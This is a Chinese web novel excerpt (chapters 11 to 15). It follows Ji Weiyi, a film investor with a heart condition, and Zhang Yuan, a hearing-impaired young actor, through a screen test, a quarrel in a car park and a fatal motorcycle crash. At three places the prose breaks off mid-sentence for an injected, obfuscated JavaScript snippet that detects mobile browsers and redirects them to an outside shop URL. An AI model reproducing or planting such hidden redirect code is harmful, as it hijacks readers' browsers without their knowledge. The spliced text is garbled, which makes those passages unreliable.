这是一张神奇的画布，能激发灵感，让人生出要在上面涂几笔的心情。 从他第一次见到张渊，他就幻想过如果让他掌镜，会拍出什么样的镜头。 而现在为了不浪费这样画布，他正在亲手把张渊拱手相让。 归根结底，他当然不是嫉妒程秋拍张渊，他无非是也想和程秋做同样的事情罢了。 怎么还不叫停，季苇一觉得时间过得太慢，好像他和张渊就在这里两厢对望，已经过了几个钟头。 他再次把注意力放回到张渊的脸上，意识到正在有更多的鼻息喷在他脸上。 张渊正在缓缓地凑近过来。 他要做什么？ 季苇一紧张起来，不自觉屏住呼吸。 逐渐向他凑近的张渊忽然停下来，静静地盯着他，然后抬起手，在自己的唇上摸了一下。 看他看他太投入，季苇一条件反射般同他做出一样的举动，也摸在自己的唇上。 摸到一点湿。 他低头看着自己指尖的一缕红色，嘴唇上的伤口微微疼痛。 刚刚下车时不慎磕到了下唇，原来这么半天伤口还没有凝固。 这对他而言不怎么值得大惊小怪：前几年心脏手术之后，他一直服用抗凝药物，久而久之凝血功能受到了一点干扰。 但是他忽然意识到，他在一直看着张渊眼睛的时候，张渊盯着的其实是他的嘴。 张渊看人，从来都是看人的口型。 所以这么长时间，他都在看着他的嘴唇。 季苇一的耳根忽然烫起来，抬头看，被阻挡的光线在张渊脸上投下一片光影，沿着他的鼻梁整齐地裁切。 右半边脸专注地看着他，左半边脸神秘莫测。 季苇一几乎忍不住要从桌子上站起来，一直站在摄像机后面的程秋终于开口：“好，可以了。” 她工作的时候，整个人呈现出一种惊人的冷静状态，点头朝他们走过来，光从表情看不出满不满意。 “很好，很漂亮。” 背对着她的张渊没听见她在说什么，只是指着季苇一的嘴唇问：“很深？疼吗？” 季苇一挥挥手，没回答他的问题：“结束了，导演在叫你。” 他趁张渊回头地功夫舔了舔嘴唇，铁锈的味道在嘴里蔓延开来。 腕上的电子手表震动起来，他低头看，屏幕上跳出一行可能房颤的提示。 颤就颤吧，他有些恼火的把手表摘下来装进口袋里。 反正他那个器官从小就颤。 12. 擒住手腕 即便没有电子设备的提醒，身体的真实反应依旧不会说谎。 据说有很多人的房颤都是无声无息地发生的，但在季苇一并不是这样。 尽管房颤的症状从他有记忆就开始存在，随着几次年龄增长，几次手术，发作的频次并不算高，但是每一次都很有存在感。 好像有什么东西哽在嗓子眼，每一下心跳都敲在鼓膜上，震得五脏六腑都跟着别扭。 体内升起失重般的异样感，仿佛正在从高处坠落，然而脚下没有坠落的终点，只有无尽地坠落。 好在他只是单纯感觉到生理上的不适，心中不太紧张。 按照一贯的经验，这种异动不会持续太久，也不至于在短时间内造成什么非常巨大的后果。 至于传说中逐渐增大的脑梗风险，十年二十年以后的事情甚至都不是他这种人配烦恼的。 他的心脏就像一架出场设定就有问题的发动机，虽然被精心地修补过很多次，但替换地齿轮终究难以严丝合缝地卡进去。 非原装的零件在每一次跳动时都因为不能充分匹配而产生摩擦，不知道什么时候就要故障。 幸好他仍坐在桌子沿上，因为坐着，虽然一部分的感觉到身体和精神已经分离，但只要勉强维持表情盯着某个地方，一时半刻就不会表现出太过明显的异样。 无论在程秋面前，还是在张渊面前，他都不希望自己轻易地泄露出虚弱。 于是仰头坐着，把视线越过张渊的后脑勺，定格在窗户和天花板之间，默默吞咽以减轻不适。 程秋的目光在摄像机屏幕上的回放里和现实中的张渊脸上来回移动，觉得季苇一看人的眼光的确很准。 有的人就像是一张纸，本身似乎什么都没写，所以朝他投去什么样的目光就能在脑海中勾勒出什么样的想象。 作为一个对自己的画技有充分自信的人，这正好是她所想要的。 她从屏幕里抬起脸来：“季苇一，你到底哪儿遇上人家的？”对上对方飘在半空中的视线，觉得有点不对：“你咋了，起早了犯困？” “你都不困，我困什么？”心跳似乎规律了一些，但不适感仍然存在，季苇一撑着桌面站起来，冷汗浸湿的掌心滑溜溜不好着力。 季苇一走到窗边靠住：“拍完了是吧？”看到程秋点头，推开窗子：“你这屋闷得慌，还挺热。” 程秋看了一眼自己身上的长袖T恤和季苇一额头上的细汗，略有点奇怪：“四月就热了？” 季苇一没说话，只两手撑着窗框低头吹风。程秋把注意力转回张渊身上：“你能不能打一句手语给我看看？”她这会儿终于掏出剧本来，哗啦啦地翻给张渊看：“就这一句。” “有什么话是不能说的？”——这是男主角面对离别时的一句台词。 张渊没去接剧本就摇头：“我不会。” “不会这句？”程秋心道这应该也不是什么很书面的字词。 “不会手语。”张渊道，“我是在普通学校长大的。” 程秋连忙道歉：“对不起。” 她少年时曾在学校里见过戴助听器的同学，虽然知道对方在做英语听力的时候有困难，但是在平时几乎不太能意识到有什么太大的区别。 像张渊这种有肉眼可见在沟通方面会遇到障碍的人，她下意识地没想到对方一直以来会全靠这种方式和人对话。 哪怕不必问，她完全可以想象出这会给张渊的生活造成多大的困难。 然后，与此同时，程秋在心里谴责了一下自己。 她不得不承认，有那么一瞬间，她想到的是这种孤独隔绝的状态未免与她剧本中的角色惊人地契合了。 程秋看向季苇一：“怎么办，小季总？” 谈艺术的时候是季苇一，要钱的时候就会变回小季总。 他俩很熟，这种调侃并不显得冒犯。但季苇一侧身过来，目光一直落在张渊身上的，没有看程秋：“找个老师教教他，这有什么麻烦的。” 程秋就笑：“你这俨然是资方的口气了。” 要送人带资进组的那种资方。 季苇一笑：“否则你找我做什么？” 程秋偏头：“上次你可还不是这个态度。” 上次季苇一说的是这种东西八成就算叫好也不叫座，够呛回本。他现在是生意人不是搞艺术的，得好好想想。 现在却道：“你这片子投入不会很大，这点钱我还是说得了算的。” 又问：“其他的演员呢？” 程秋道：“在商量了，你要是大方，我这里事情更好办。” 见季苇一眉心微蹙，有些惊讶：“怎么，你不会还管起我选人的事儿了？” 他俩合作过几次，季苇一足够信任她，如果看中了项目，通常是不怎么管她拍片的，只有在钱的方面会和她有些分歧。 “不管。”季苇一直起身，胸前还是发闷，他不想在这里耗了。“人是我找来的，你就当我是他经纪人吧，有事跟我说。” 程秋简直哭笑不得：“你知道你这样子，像过去那种煤老板。” 季苇一白了她一眼，冲张渊招手：“走了。” 程秋叫住他：“送你个东西，”她拉开抽屉，毫不避讳地向他展示满满一抽屉护身符：“前几天出去了一趟，这寺庙里的东西据说挺灵，买了一堆，来者有份。” 季苇一往她抽屉里瞥一眼，花花绿绿一堆塑封的卡片：“看着像在义乌批发的。” “谁知道呢，兴许人庙里确实是义乌批发，但反正我是在庙里买的，开光了。”见季苇一手插在口袋里没有掏出来的意思：“得，你不要算了，反正我知道你也不信这个。” 她招呼张渊：“来，咱们挑一个。” 张渊走上前去，又回过头看了一眼季苇一，犹豫片刻，从那一堆护身符里挑了个“健康”捏在手里。 程秋本想笑他年纪轻轻不挑个事业或者财运，物欲还挺低，目光扫过他耳朵挂着的助听器，又说不出话来。 “今天辛苦跑一趟，回头我们看看合同文件。” 季苇一便引张渊出门，走出室内，冷汗消散在风里，打了个哆嗦。 “怎么了？”张渊问他。 “没事。”季苇一想赶紧回车上，快走两步，又觉得心慌，只好把脚步放慢：“你今天表现的不错。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13740151|145165||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他是随口一夸，身边的张渊却停下脚步，定定地看着他。 “高兴？”季苇一转过脸来问他，冷不丁却被张渊擒住了手腕。 张渊出手很快，握住之后的动作轻柔并不使季苇一感到疼痛，然而控制他手腕方式有一种无可摆脱的强硬。 季苇一挣了一下没挣开，忽然想起那天张渊在河边捉鱼的时候，把鱼捉在手里的方式和如今擒住他手的方式如出一辙。 俎上之鱼不得不任视张渊用拇指按住他的脉搏，张渊垂眼静静地摸，然后皱着眉头对季苇一说：“你心跳很快。” 他顿了顿，手指上的力气放松，但语气越发坚决起来：“你应该去医院。” 季苇一像被烫了似的从他手中把手抽出来：“你突然拉我，我吓了一跳。” 张渊却盯着他：“你不舒服。” “没有。”季苇一快步上车，紧张和激动加剧了心慌的感觉，觉得遮掩不住，他索性捂住昨天岔气的肋骨，借题发作。 “这里扭了，走快了会痛，你下次别一惊一乍的。” 他喘了口气，把车开出去，听见张渊说：“对不起。” 安全起见，车开得很慢，季苇一觉得这茬揭过去了，不知道为什么，对张渊的关心生出一种虚张声势的心虚。 张渊保持沉默，全程静静地看着他。 岔气的理由其实没有说服他，从刚刚在程秋的工作室里开始，他就觉得季苇一不对。 因为听力上的缺损，想听懂一个人说话，他就不得不非常认真地观察他的表情。 虽然很难识别语气，但一个人说话时的神态和呼吸节奏能传达出他的情绪。 而季苇一的呼吸像是病人的呼吸——他曾经在冯帆和自己的母亲身上经常看到这样的呼吸方式。 就好像，用尽全身全部的力气在喘气。 而季苇一的反应也同他所熟悉的病人很相似，对方好像很不想在他面前承认什么。 但他非常不想让这样的局面继续维持下去，有些时候，疾病可以轻而易举地摧毁一个人。 而季苇一看起来比他的母亲和冯帆还更要脆弱一些，他轻捻了一下指尖，脉搏跳动的手感似乎还残存皮肤上。 隔着薄而凉的一层皮肉，来自心脏的跳动若有似乎，仿佛下一秒就会消失。 几天以来，季苇一几乎没有什么理由地照顾着他。 尽管张渊还不知道原因到底是什么，但是他迫切地想要知道更多关于季苇一的事。 他不知道要到什么程度，对方才能够坦然地在他面前承认身体不适。 而令他苦恼的是，他本来就很不擅长和人说话。 季苇一把车停在酒店的地下停车场里：“到了，你自己知道怎么上去吧？” 张渊深吸了一口气：“有件事，可以问你吗？” “问吧。”季苇一下意识地认为是关于今天试戏的事情，怕停车场太黑，张渊看不清他说话，打开了车内的照明灯。 张渊的脸一瞬间明亮起来，昏黄灯光里，那双黑眼睛直直地看向他。 “为什么帮我？”张渊问，“不是因为生日，你不信护身符。” 13. 不要生气 随口撒得慌特别容易被揭穿，主要是有的时候自己都会忘了自己说什么。 季苇一多年以来一直觉得他娱乐圈那些热衷于卖人设又经常翻车塌房的同事们很蠢。不装也就罢了，既然都打定主意要装，团队里那么多人，怎么就不能装得周全一点？ 现在忽然觉得脸很痛：人设这个东西，但凡你是假的，真是指不定在哪儿就漏了。 装富二代事业狂魔知识分子翻车也就罢了，他装个搞封建迷信的居然都没绷住。 好在这也不是什么大事，几天下来他已经发现张渊情绪稳定，除了嘴巴不利索动不动就上手有点一惊一乍之外，沟通起来还是相当令人愉快的。 “不是完全不信，我们这行是比较看重这些东西，虽然我不太在乎，程秋还是很在意的。”他自知这句话可信度实在不高，而精心的谎言都是在大部分的真相里掺杂一点小谎。 “至于我自己，第一，我的确觉得你很合适，程秋本来就想要找素人，遇到一个合适的人选不容易，我觉得这是一种缘分。” 张渊仍用那双漆黑的眼睛专注地看着他，单凭表情完全无法判断他到底信还是没信。 季苇一意识到他是在等自己接下来的话：“其次，就像那天说过的，我们都是冯叔的孩子，现在冯叔不在了，我就当是照顾一下自己的弟弟。” 他笑了笑，在感到压力的同时尽可能让语气变得自然：“毕竟，我也不想跟冯成业称兄道弟啊。” 讲到这儿他想起冯成业那天晚上被烧掉的一撮头发，确实是从心底里感觉到实在滑稽，不由得真笑出了声：冯帆种实在是差了点，捡人的眼光还是挺好的。 然而张渊没有跟着他一起笑起来，他垂下眼睛：“可是，这几年，你不在。” 季苇一还未散去的笑容凝在脸上。 张渊抬眼，看表情，他脸上神态柔和，找不出半点质问的意思。然而他生硬的语气总是让询问听上去像是坚决而笃定的陈述：“你给我花了很多钱，冯叔生病的时候缺钱。冯叔没有告诉你？你们吵架了？” 他的确只是单纯的疑惑，虽然他其实并不清楚拍电影住酒店找手语老师具体需要多少钱，但买衣服那天，他看到了那些衣服上的标签。 毫无疑问，季苇一的有钱是超出了他想象边界有钱，而冯帆最后那段时间的窘迫却是他认知范围中的窘迫。 既然对他都能做到如此地步，为何对冯帆看起来又是不太在意的样子？ 他想弄明白，他无意指责季苇一在那几年的不闻不问，但既然这些散落在他身上的善意来自于对冯帆迁情，那他至少想知道对方和冯帆之间到底是什么关系。 当然，用语言表达如此复杂的逻辑链对他而言实在是有些困难，思来想去，凝缩在短短的两句话里。 所以当他看到季苇一的嘴唇在灯光下瞬间褪去血色的时候，第一反应就是自己没有把话讲明白。 “我不是——” “是啊，”季苇一的呼吸变得浅而急促，但他说话的语气依旧很轻柔：“我和他吵架了，我觉得他不太喜欢我。” “所以……”季苇一喉结滚动，努力吞咽一下：“我有好多年都没见他。” “不是。”张渊脸上泛起极为少见的紧张情绪，“不是。”急切让他的吐字变得含糊起来，格外断断续续：“冯叔，不讨厌你。冯叔说，你是他的孩子，你、床头柜里，有你的照片，冯叔给我看了。” 他确信这其中有什么误会，把季苇一脸上的落寞神情当成是在冯帆处遭到冷遇后的伤心，因此极力想要向他说明自己所看到的。 可季苇一并未如他所期待的那样变得惊喜，他看起来比刚那刚刚更加苍白：“你说什么？” “照片，你的照片，在红毯上，很漂亮，冯叔收在床头柜里。” 季苇一将指甲深深地嵌入皮肉里，以抑制住身体不受控制的颤抖。 时隔多年，从张渊嘴里听到冯帆对他的关注，甚至比冯帆的死讯更让他失控。 这一切和张渊没有关系，他什么也不知道——季苇一在心里不断重复到。 然而他仍不可避免地要迁怒，离开桦城，张渊成为了他身边唯一和冯帆的联系。 这本来正是他自找的，可是原来他到底还是不能轻易扛得住一切意料之外的信息。 准确来说，这也不是迁怒，而是逃避。 通过逃避张渊来逃避冯帆。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13740152|145165||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>季苇一深吸一口气：“我不想聊他，你下车吧。” “我——” 他偏头避开张渊可以预料到的茫然神情，尽力克制着不要让自己吼出来：“你下车。” 张渊愣了愣，并不知道他的情绪从何而来，然而还是顺从地点头：“好，你不要生气。” 他慢吞吞地把包背在身上，仍不住去看季苇一，看到他凌乱的呼吸节奏和失神的眼睛：“我下车，你……能不能，不要自己开车？” 季苇一没想到他会这么说，短暂地从混乱中重新意识到自己还坐在离家有一段距离的停车场里。 他看着张渊，理性上感觉到自己其实应该对这段突如其来的情绪有那么但凡一点解释，但实在觉得很累。 “好，”他说：“我会叫人来的，不要担心。” 张渊“嗯”了一声：“等人来了，我就走。” 季苇一再也装不下去：“你现在就走！” 张渊欲言又止，推开车门，从口袋里掏出个什么东西，放在他二人之间的电子档杆控制器上：“再见。” 电吸门关上的声音轻得几乎听不见，季苇一望着张渊消失在昏暗中的身影，捡起他刚刚放下的东西。 塑料套膜的手感滑腻腻，是程秋批发的充满义乌风情的寺庙护身符。 这东西上面的字很小，他刚刚并没有留心去看张渊到底挑了什么，只知道他按照程秋的意思从那堆花花绿绿里抓了一个。 现在才看清上面的健康二字。 季苇一一手捏着护身符，慢慢趴在方向盘上，脸颊触碰到喇叭，滴一声锐响，在停车场低矮的空间里回荡。 他把空余的那只手放在自己的心口，摸到砰砰砰砰又急又快的心跳砸在掌心。 健康，如果他拥有健康，他这辈子大概就不会遇到冯帆。 会失去一段奇妙的童年经历，也会少去日后的很多烦恼。 如果他拥有健康，他这辈子的很多决定都会变得不一样。 但是，他确实在出生之前，就注定不能变得健康。 而在这一点上，张渊分明有着和他非常类似的境遇。 所以他格外不应该把多余的情绪落在张渊身上。 14. 联系方式 季苇一一个人在停车场里待了好久，久到助理许琮来敲他的车玻璃。 季苇一沉默着下车，把方向盘让出来，一语不发地缩到后座上窝着。 许琮知道老板最近身体状况不怎么好，突然受到季苇一发来的定位的时候还以为他是低血糖一类的毛病。下地下停车场之前特意在门口便利店买了瓶功能饮料，叫店家放在微波炉里叮了一下。 看见季苇一才发现他看起来好像不单单是身体的问题，犹犹豫豫地把手里的饮料递过去：“……喝点？” 他确认对方确实已经将瓶子接过去才松开手，结果头还没全转回去就听见一声轻响，季苇一慢吞吞弯下腰去捡饮料。 气压太低，许琮没敢说话，装瞎把头转回去。从后视镜里看见季苇一已经捡了东西重新坐好，默默开车。 刚出停车场的闸口，就听到季苇一说：“去山上转转吧。” “好。”许琮心想，这得是遇着啥事儿了？ “山上”指的是城郊的一座山，地方很偏，离季苇一家三十公里，从这里开过去更要将近两个小时。 那山几乎没什么风景，平时也少人去，唯独环山路修得很好，在宽敞平坦和落差高转弯多之间形成微妙的平衡，所以为一群骑摩托飙车的人所青睐。 这几年因为出事太多，屡屡要禁，屡禁不止，后来甚至有年轻人把骑着摩托被警察追当成飙车游戏的一部分，当地派出所实在头疼。 许琮跟在季苇一身边的时间没有很长，不知道具体是从什么时间开始，但总之是在他来之前，季苇一心情不好的时候就喜欢来山上开车吹风。 顺便看人飙摩托。 这事情其实是有风险的，虽然那路修得宽，理论上车都自觉靠里侧开，把外道让给摩托。但那些个鬼火少年青年中老年本来就求爽不要命，有些人技术还不咋样。 无论是远远地开车缀着还是索性停在路边围观，遇上倒霉的时候很容易被刮刮蹭蹭。 季苇一不是唯一有这种爱好的人，这么多年下来最惨的一次也就是换了个保险杠。 可许琮自从听说有个保时捷车主看热闹被撞废了车灯，还得本着人道主义精神倒赔鬼火大爷医药费，就对季苇一的这个爱好倍感压力山大。 虽然万一车真坏了也不用他花钱修，但是可能导致自己在老板那里的可靠度直线下滑。 ——他最近很有危机感，季苇一去奔丧奔出个小跟班来，也不知道是走哪一门亲戚的关系攀上来的。 他虽然不清楚那人到底来干嘛的，但看对方那身打扮气质，实在很像那种豪门小说里沉默寡言还能打的贴身保镖，严重担心季苇一会直接把开车的活儿也交给他。 看见那人耳朵上挂着助听器，他连夜检索考驾照对于听力的要求，跳出的答案是“两耳分别距音叉50厘米能辨别声源方向”这种一般人都毫无现实对照度的标准，从此之后工作的更加战战兢兢。 季苇一把窗户摇下来半扇，四月的风刚有了点温度，吹在脸上很舒服。 儿时桦城的风总是很硬，刮在脸上像刀子一样痛，他皮肤敏感，回到热腾腾的屋内轻轻一挠，指甲接触的地方就浮起一条一条凸起的红痕。 他在跟妈妈打电话的时候抱怨了一次，说脸上总是痛痛痒痒的。家里很快给他寄来了一条精纺羊绒围巾和一瓶上面全是英文的润肤霜。 润肤霜的确能抚平脸颊上的蜕皮红痒，但封闭保湿功能的膏体沾在手心里有种奇怪的黏滑厚重质感，水洗也好像洗不干净。 他因为讨厌手上黏糊糊，对使用它的积极性迅速下降。 冯帆看他好了没两天又开始挠脸，起初还以为那润肤霜用久了效果就会下降，观察了很久才发现季苇一有时候早上洗完脸犹豫，一会儿又不往脸上擦。 于是从此之后每天盯着他涂润肤霜，眼看着季苇一确实把白色的膏体在脸上揉到消失，拉着他的手放进烧好的温水里洗掉掌心的残余。 再拿羊绒围巾一圈一圈仔仔细细从他的脖子根裹到鼻梁上，只露出一双眼睛看路。 围巾是深红色的，宽大厚实，表面光滑柔软，缠在他小小的脸上更显得宽裕。每一次呼吸的时候，水汽顺着针织肌理透出去，温热却留在脸上酥酥麻麻的发痒，好像有温暖的云裹着他。 冯帆也在给他系围巾的时候顺势摸两下，说真软真暖和，叫他好好把口鼻都藏在围巾下面。 但那围巾后来就丢了。 那年冬天冯成业回来，季苇一光听到他俩吵架，没听出来吵得什么，正逢年底，家人很快把他接回家过年，走的时候全身都换了新衣服，围巾就留在桦城。 等转过阴历年回来，对方拾掇他穿衣服出门的时候，忽然到处都找不到那条围巾。 他过年回来，也带了新的围巾，况且年后的天气就一天天热起来。季苇一不怎么恋物，没把这件事放在心上。 直到年底他跟着冯帆回村子里过年，发烧的时候觉得露出来的脸都很冷，对方拿东西帮他盖了盖。 迷迷糊糊的，季苇一认出那条围巾，在一年不到的时光里迅速的旧了，几乎看不出原本的红色，一股刺鼻的烟草味散不掉。 冯帆是不抽烟的，那烟味他只在冯成业身上闻到过。 那年之后，冯帆觉得他那一遭在村里病得太重，桦城的医疗条件终究比不上京城，家里也觉得他身体渐好，差不多到了要正经去学校上课的年纪，后来就把他养在身边。 很多事情他小时候也隐隐约约有些察觉，越长大，就越能想明白是怎么回事。 其实他也没有那么想不通，亲生孩子一碗水也多半端不平，何况冯帆和他本就不存在任何血缘关系。 说难听点，一场建立在经济之上的生意罢了。 明明是因为冯帆待他足够好，才让原本的交易里掺杂了这么多情感成分，他不应该对此有太多的期待。 他都能理解，也可以接受——如果只是这种程度，他完全可以接受。 可是冯帆偏偏要把那件事告诉他，听到那个真相之后，他终于再也没办法假装父慈子孝。 他以为那就是冯帆想要的，就像自己后来躲着他那样，通过刺痛他的内心，彻底地将他推开，眼不见为净。 但是张渊又说，冯帆还在床头柜里藏着他的相片。 这让他觉得他们之间的关系，未免太类似于一对发生过矛盾后的父子了。 甚至，他努力告诉自己不要去进行自作多情的联想，但还是抑制不住地想到。 在和他断绝联系的几年之后，人生暮年的冯帆不求回报的收留照顾一个身体上有一点缺陷的孩子。 他是在怀念什么？ 比如，曾经作为他“父亲”的那段时光？ 想到这里，他不可避免地又生出另一种担忧。 如果他的推测是真的，被夹在他们父子游戏之间，而又对一切一无所知的张渊会怎么想？ 他的思绪被许琮的声音骤然打断：“小季总，这个点居然有车队。” 飙车高峰一般都在傍晚，工作日的中午，很罕见地居然真有人在嗨。 季苇一越想越烦，觉得再想下去心脏真的要出毛病：“跟上他们看看。” 他把后侧两扇车窗全部打开，随车速扩大的风灌进车内，巨大的噪音暂时淹没一切尘世的烦恼。 ——烦恼并不会消失，只会转移。许琮愁眉苦脸地应了声“好”，在心里狠狠谴责这帮大白天飙车的人。 到底是谁有钱又有闲，同样的一条路，他勤勤恳恳工作的时候，这帮人都在拿命找消遣。 也不怕哪天真的把命玩丢了——这个想法在许琮的脑海里刚出现了一秒，他忽然骂出声：“我草！” 飙车的一行前前后后差不多有十个人，最前面五人跑得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13740153|145165||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 快，把后面甩开了。 他们跟着的先头部队过弯时，落在最后的那个人车轮撞到了什么东西上，失去平衡从一旁的护栏上飞了出去。 “停车。”季苇一在他背后拍了拍座椅靠背。“报警，叫救护车。” 他一面说，一面已经拉开车门跑下去。摩托车的噪音太大，跑在前面的人根本没发现有同伴出了意外。 许琮照季苇一所说把车停在路边，开双闪打电话，120的接线滴一声响起，他才突然意识到季苇一就这么横穿过去说不定会被落在后面的摩托撞到。 季苇一再三确认左右才敢往前走，然而迈步到中间过半，感觉到有什么东西贴着自己的后背飞驰而去。 其实那摩托和他还隔了很宽的距离，但是席卷而来的风带着巨大的噪音直穿鼓膜，他的心跳不受控制地快起来。 当然也可能是因为担心摔下去那人死了……季苇一把头用力往下探出去，护栏外面是个陡坡，万幸树很多。人在摔出去的时候从车上被甩下来了，卡在两棵树之间，能看出还在动。 季苇一喊了两声，听到十分微弱的回应，总算稍微看到点希望，一面不断试图和对方搭话，一面等120和交警来。 那群飙车的人不知道跑到哪里去，半天不见有人回来。交警帮120把人抬上来，那人浑身都是血，意外地居然还有点意识，迷迷糊糊答话。 季苇一见血，胃里忽然翻腾起来。 交警见人孤零零地摔成这样，问他和许琮作为报案人，能不能跟到山脚下的医院简单做个记录。 季苇一答应了，钻回车里，拧开许琮给他的功能饮料喝了几口。酸甜的东西一热就光剩下酸，他喝了两口，倒是不反胃了，开始隐隐胃痛。 才到医院，程秋忽然给他打电话：“喂？” “小季总。”对方像是睡到一半醒了，嗓子有点哑：“刚刚才想起来，给我推个张渊的联系方式呗。” 导演联系演员实在太正常不过，但季苇一和张渊刚刚有了点不愉快。 如果不是正好在这么个晕头转向的当口，季苇一肯定会记得要她先别去找张渊，等他打个招呼再说。 偏偏刚看了车祸现场精神冲击太大，居然大脑一片空白，顺手就给发过去了。 他刚想挂电话，那头叫号的声音响了，程秋顺口问他：“你怎么，在医院？” “中心医院，”季苇一答：“路过遇到车祸，帮忙报了个警，跟过来了。” “热心市民啊，”程秋随口开了个玩笑：“你忙吧，回头找你。” 她确实是睡到一半起来上厕所，回个消息的功夫就精神了。想起来还没加过张渊微信，又随便来问一问，边给张渊发好友申请，困劲儿又有点上来了。 没想到张渊一秒通过好友申请，打招呼只有两个字：张渊。 程秋想这人还真是挺有风格，寒暄两句：“你好，小季总把你推给我的。” 她仅仅只是出于礼貌，解释一下怎么拿到的他的联系方式，张渊却问：“他让你来找我？” 程秋有点莫名其妙：“对啊。” 他和自己之间的合作缘分都是季苇一牵的线，不是季苇一让她来找他，他俩之间也没有别的共同好友了啊。 对话框那头沉默良久，久到程秋觉得自己马上就要睡着了。 张渊问：“你知道他在哪儿吗？” “中心医院。”程秋敲出这四个字，用尽全部意志力按下发送，又倒回梦里。 再一觉醒来，又已经过了好几个钟头，下午四点，太阳都西斜了。 捡起手机，界面还停留在和张渊的聊天上，对面在几个小时前回复她：“谢谢。” 程秋打了个哈欠，关掉界面去洗漱，冷水拍在脸上，她忽然愣住了。 不对。 她说季苇一在医院这个事，是不是有点容易引起误会啊？ 15. 胃疼要按这里 季苇一在急诊室门口配合着答了几个问题，那头医生已经想办法拿伤者的指纹解锁了手机联系他的家人。 年轻的交警跟他道谢：“行了兄弟，麻烦你了，亏得你俩报警呢，你看看吧，一块儿飙车没一个管他的。” 季苇一胃里不舒服，礼貌笑笑，没接他的话。正巧急诊室里刚刚接诊的医生走出来，交警便问：“这人现在怎么样了？” 医生摇头：“刚拍了CT，颅脑损伤挺严重，不好说。” 就在他说这句话的几乎同时，急诊室的自动门又开了，隔着门望一眼，心电监护仪滴滴滴的响起报警，有医生迅速将某张病床围住。 下一秒门就合上了，季苇一和交警小哥对视一眼，面面相觑，两个人都认出那人身上穿着的亮红色体恤衫。 交警叹气：“这个月第五个了，你说这些人咋想的呢，有命活着好好的，非要作死找这个刺激。” 季苇一只觉得胃里像有什么东西悬吊着，卡在胸前不上不下。亲眼见到一个方才还能迷迷糊糊答话的人心跳归零，造成的冲击比他预想中更大。 他喊声许琮，准备离开急诊，无论如何先到外面缓口气。 转身，又看见急救医生急匆匆推着病床过来，血淋淋一团也就勉强能看出是个人。 季苇一愣了愣，甚至都还没来得及觉出胃痛，一弯腰就吐了。 他胃里只有功能饮料，所以吐得很急，呛进气管里，剧烈地咳嗽。 突然呕吐的人在急诊区见怪不怪又值得警惕，立马就有护士冲过来：“什么原因来的医院啊，挂号了没有？” 许琮在一旁手忙脚乱：“挂挂挂挂我们不是来看病的。” 季苇一已经捂着肚子蹲下来，冲护士摆摆手：“晕血，对不起。” 胃痉挛这种毛病，细究起来没有什么大碍，发作的瞬间却实在是痛得一点办法都没有。 季苇一蹲在地上，站是站不起来，蹲也快蹲不住了。医院地板太脏，他又绝对不肯往下坐，整个人抖得筛糠一样。 许琮来扶他，连拖带拽把季苇一拉到椅子上。急诊的椅子都很滑，他生怕季苇一出溜下去，自己就要变成把老板扔在地上的怨种助理，坐在一旁死死拉住他。 季苇一被他弄得很烦躁，有的人是病起来就顾不上那么多细节，他是一难受就格外特别龟毛。虽然痛得只想缩着，还是很努力地试图把自己的胳膊抽出来：“别动我，你身上热。” 其实他是觉得许琮身上有汗味儿，但这个说法似乎有些残忍，在痛得濒临崩溃之际，还是用最后的理智找了个更温和的借口。 许琮投降似的把两手举起来，火速把屁股往旁边挪了一个位置出来：“不动不动不动，小季总……咱要不再去看看胃呢？” 季苇一把整个上半身折叠下去，闷闷地嘟囔：“上个月刚看了，照胃镜又不是照镜子，哪儿那么好看。” 他胃不好是一早就有，小时候只是不爱吃饭，前些年手术过后阿司匹林吃多了，曾经发生过两次胃出血，万幸都很轻微。 药不敢停，他除了小心翼翼地经常检查，确实也没有什么好办法。 季苇一上半身折在自己腿上趴着，脑袋悬在膝盖外面，大脑充血，晕晕乎乎的。 趴着趴着，忽然冒出一句：“许琮，一会儿开车去找张渊吧。” 他从一生下来身体就没好过，只分有时候重些，有时候轻些。久而久之，思维方式也跟着受影响。 比较明显的一点就是，他病程缠绵消磨日久的时候，会觉得人这一生活太久也实在没什么意思；但病得又急又猛离鬼门关比较近的时候，又会忽然发现自己原来还是很热爱生命的。 今天倒不是他病，可亲眼目睹生命的流逝的冲击简直像自己也经历了一次生死。 然后忽然就想到，如果真是明天要死了，他和冯帆那点事可能也谈不上太重要。 毕竟冯帆已经死了，更犯不着为了和死人的旧恩怨把眼前的事情的搅得一团糟。 许琮很莫名奇妙地“啊？”了一嗓子，搞不清他这又是想得哪一出，抬起头忽然惊讶地差点咬了舌头，半天说不出话来。 季苇一趴在膝头半天等不到他回话，略有些不悦地直起身重复了一次：“我说，开车去酒店找张渊吧。” 